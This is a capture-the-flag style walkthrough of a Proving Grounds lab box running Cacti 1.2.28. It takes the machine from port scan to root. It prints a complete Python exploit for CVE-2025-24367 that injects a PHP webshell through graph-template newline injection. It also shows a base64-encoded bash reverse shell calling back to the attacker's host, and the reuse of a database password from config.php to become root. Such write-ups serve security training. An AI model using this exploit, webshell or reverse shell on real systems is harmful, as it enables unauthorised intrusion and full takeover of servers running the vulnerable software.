Summary #
On port 80 there is a webapplication running called Cacti v1.2.28
. Abusing a newline injection vulnerability (CVE-2025-24367) we get a webshell on the target and can execute remote commands. Using this webshell we get initial access as the www-data
user. Once on the target we find credentials in a config.php
file. Because of credential reuse we can use this password to escalate our privileges to the root
user.
Specifications #
- Name: CACTI
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux cacti 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.157.206
- OFFSEC provided credentials: None
- HASH:
local.txt
:a5d37044a1f25d557600d14e977af3ce
- HASH:
proof.txt
:67df0253cc24af8b679cbb647d1f6419
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir cacti && cd cacti && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 12 17:12 .
drwxrwxr-x 62 kali kali 4096 Sep 12 17:12 ..
drwxrwxr-x 2 kali kali 4096 Sep 12 17:12 enum
drwxrwxr-x 2 kali kali 4096 Sep 12 17:12 exploits
drwxrwxr-x 2 kali kali 4096 Sep 12 17:12 files
drwxrwxr-x 2 kali kali 4096 Sep 12 17:12 tools
drwxrwxr-x 2 kali kali 4096 Sep 12 17:12 uploads
## set bash variable
ip=192.168.157.206
## ping target to check if it's online
ping $ip
PING 192.168.157.206 (192.168.157.206) 56(84) bytes of data.
64 bytes from 192.168.157.206: icmp_seq=1 ttl=61 time=19.1 ms
64 bytes from 192.168.157.206: icmp_seq=2 ttl=61 time=21.5 ms
^C
--- 192.168.157.206 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.055/20.268/21.481/1.213 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports faster than you can say 'SYN ACK'
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.157.206:22
Open 192.168.157.206:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-12 17:13 CEST
Initiating Ping Scan at 17:13
Scanning 192.168.157.206 [4 ports]
Completed Ping Scan at 17:13, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:13
Completed Parallel DNS resolution of 1 host. at 17:13, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:13
Scanning 192.168.157.206 [2 ports]
Discovered open port 80/tcp on 192.168.157.206
Discovered open port 22/tcp on 192.168.157.206
Completed SYN Stealth Scan at 17:13, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.157.206
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-12 17:13:12 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2e:5b:cb:6b:21:8c:fc:df:7b:c7:f7:f0:46:2e:6d:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNzhDduFenGCFk6W1KB4vhdfu/aU9Gi4N3BTeQK5tNhkQLpvNphjS83lUqinZ/RR81LsqbxbhGKvMEycOTMkTSo=
| 256 ab:1a:ce:a7:f0:b6:0f:79:0b:54:b8:00:26:3d:69:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIONcJk3p4sOSZw8zygtz1n5h9SfHtt+1kOc/UUQEA0CB
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login to Cacti
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login to Cacti
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
On port 80 we find a user login screen of Cacti v1.2.28
.

When we try the weak credentials: admin:admin
we’re allowed to change our password,example: Password1!
. So, let’s change it.

Once changed, we indeed can log into the application.

Searching the internet, we can find: https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq (CVE-2025-24367), which talks about a newline injection. An authenticated user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. There is a PoC provided from which this Python script is created:
import requests
import re
import argparse
import logging
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
class CactiExploit:
def __init__(self, target_ip, user_name, user_password, exploit_payload, proxy_url=None):
self.base_url = f"http://{target_ip}"
self.user_name = user_name
self.user_password = user_password
self.exploit_payload = exploit_payload
self.http_session = requests.Session()
self.session_cookies = []
self.proxy_config = {"http": proxy_url} if proxy_url else None
def extract_csrf_token(self, response_text):
"""Extract CSRF token from response text."""
try:
token_match = re.search(r"csrfMagicToken=(.*?);", response_text)
csrf_token = token_match.group(1).replace("'", "")
return csrf_token
except (AttributeError, IndexError):
logger.error("Failed to extract CSRF token")
raise ValueError("CSRF token not found in response")
def perform_login(self):
"""Log in to the Cacti application and return the CSRF token."""
logger.info("Attempting to log in")
try:
response = self.http_session.get(self.base_url, proxies=self.proxy_config)
self.session_cookies.append(response.cookies.get('Cacti'))
csrf_token = self.extract_csrf_token(response.text)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"Cacti={self.session_cookies[0]}"
}
payload = {
"__csrf_magic": csrf_token,
"action": "login",
"login_username": self.user_name,
"login_password": self.user_password
}
response = self.http_session.post(self.base_url, data=payload, headers=headers, proxies=self.proxy_config)
self.session_cookies.append(response.cookies.get('Cacti'))
csrf_token = self.extract_csrf_token(response.text)
logger.info("Login successful")
return csrf_token
except requests.RequestException as e:
logger.error(f"Login failed: {e}")
raise
def save_graph_config(self, csrf_token):
"""Save the graph configuration."""
graph_url = f"{self.base_url}/graphs_new.php?header=false"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"Cacti={self.session_cookies[0]}",
"X-Requested-With": "XMLHttpRequest"
}
payload = {
'__csrf_magic': csrf_token,
'cg_g': '8',
'sgg_49': '126',
'save_component_graph': '1',
'host_id': '1',
'host_template_id': '19',
'action': 'save'
}
try:
self.http_session.post(graph_url, data=payload, headers=headers, proxies=self.proxy_config)
logger.info("Graph saved successfully")
except requests.RequestException as e:
logger.error(f"Failed to save graph: {e}")
raise
def update_graph_template(self, csrf_token):
"""Update the graph template with the provided payload."""
logger.info("Sending payload")
template_url = f"{self.base_url}/graph_templates.php?header=false"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"Cacti={self.session_cookies[0]}",
"X-Requested-With": "XMLHttpRequest"
}
payload = {
'__csrf_magic': csrf_token,
'name': 'ACME Mem Usage',
'graph_template_id': '8',
'graph_template_graph_id': '8',
'save_component_template': '1',
'title': '|host_description| - Mem Usage',
'vertical_label': 'percent',
'image_format_id': '3',
'height': '200',
'width': '700',
'base_value': '1000',
'slope_mode': 'on',
'auto_scale': 'on',
'auto_scale_opts': '2',
'auto_scale_rigid': 'on',
'upper_limit': '100',
'lower_limit': '0',
'unit_value': '',
'unit_exponent_value': '',
'unit_length': '',
'right_axis': '',
'right_axis_label': (
f'XXX\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 '
f'RRA:AVERAGE:0.5:1:1200\ngraph xxx2.php -s now -a CSV '
f'DEF:out=my.rrd:temp:AVERAGE LINE1:out:{self.exploit_payload}\n'
),
'right_axis_format': '0',
'right_axis_formatter': '0',
'left_axis_formatter': '0',
'auto_padding': 'on',
'tab_width': '30',
'legend_position': '0',
'legend_direction': '0',
'rrdtool_version': '1.7.2',
'action': 'save'
}
try:
self.http_session.post(template_url, data=payload, headers=headers, proxies=self.proxy_config)
logger.info("Payload sent successfully")
self.save_graph_config(csrf_token)
except requests.RequestException as e:
logger.error(f"Failed to update graph: {e}")
raise
def execute_payload(self):
"""Trigger the payload by accessing the graph_realtime endpoint."""
logger.info("Triggering payload")
trigger_url = (
f"{self.base_url}/graph_realtime.php?action=countdown&top=0&left=0"
"&graph_nolegend=false&graph_end=0&graph_start=-60"
"&local_graph_id=5&ds_step=10&count=0&size=100"
)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"Cacti={self.session_cookies[0]}",
"X-Requested-With": "XMLHttpRequest"
}
try:
self.http_session.get(trigger_url, headers=headers, proxies=self.proxy_config)
logger.info("Payload triggered successfully")
except requests.RequestException as e:
logger.error(f"Failed to trigger payload: {e}")
raise
def run_exploit():
parser = argparse.ArgumentParser(description="Cacti Exploit Script")
parser.add_argument("user_name", help="Username for login")
parser.add_argument("user_password", help="Password for login")
parser.add_argument("target_ip", help="Target IP address")
parser.add_argument("exploit_payload", help="PHP payload to inject")
parser.add_argument("--proxy_url", default="", help="Proxy URL (default: http://127.0.0.1:8080)")
args = parser.parse_args()
try:
exploit = CactiExploit(args.target_ip, args.user_name, args.user_password, args.exploit_payload, args.proxy_url)
token = exploit.perform_login()
exploit.update_graph_template(token)
exploit.execute_payload()
except Exception as e:
logger.error(f"Script execution failed: {e}")
exit(1)
if __name__ == "__main__":
run_exploit()
Go to the ./exploits
directory, create file called exploit.py
and paste the previous code in it. Now, run the exploit to drop the PHP webshell on the target.
## run the exploit
python exploit.py admin Password1! 192.168.157.206 '<?=system($_REQUEST[chr(99).chr(109).chr(100)]);?>'
2025-09-12 17:27:54,464 - INFO - Attempting to log in
2025-09-12 17:27:54,739 - INFO - Login successful
2025-09-12 17:27:54,739 - INFO - Sending payload
2025-09-12 17:27:54,859 - INFO - Payload sent successfully
2025-09-12 17:27:55,112 - INFO - Graph saved successfully
2025-09-12 17:27:55,113 - INFO - Triggering payload
2025-09-12 17:27:55,414 - INFO - Payload triggered successfully
Using the PHP webshell we can get code execution on the target.

Using the webshell we can get a reverse shell as the www-data
user in the /var/www/html/cacti
directory, using this URL: (http://192.168.157.206/xxx2.php?cmd=echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMTEvOTAwMSAgMD4mMSAg+|+base64+-d+|+bash
).
## get the IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## base64 encode the reverse shell command -. use this in the URL
echo -n 'bash -i >& /dev/tcp/192.168.45.211/9001 0>&1 ' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMTEvOTAwMSAgMD4mMSAg
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.157.206] 54746
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cacti:/var/www/html/cacti$
## find `local.txt` on the filesystem
www-data@cacti:/var/www/html/cacti$ find / -iname 'local.txt' 2>/dev/null
/var/www/html/cacti/local.txt
## print `local.txt`
www-data@cacti:/var/www/html/cacti$ cat /var/www/html/cacti/local.txt
a5d37044a1f25d557600d14e977af3ce
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@cacti:/var/www/html/cacti$ TERM=xterm && stty columns 200 rows 200
We should always check the webapplication directory for credentials first. When we do this we find a password that is reused for the root
user. This allows us to escalate our privileges.
## find all files in the `cacti` directory with `conf` in the filename and grep for the `password` text
www-data@cacti:/var/www/html/cacti$ find . -iname '*conf*' 2>/dev/null | xargs grep -A3 -B3 -Rni 'password'
./include/config.php-5-$database_default = 'cacti';
./include/config.php-6-$database_hostname = 'localhost';
./include/config.php-7-$database_username = 'cacti_user';
./include/config.php:8:$database_password = 'cactipassword91';
<SNIP>
## switch to the `root` user
www-data@cacti:/var/www/html/cacti$ su -
Password:
root@cacti:~#
## print `proof.txt`
root@cacti:~# cat /root/proof.txt
67df0253cc24af8b679cbb647d1f6419
References #
[+] https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq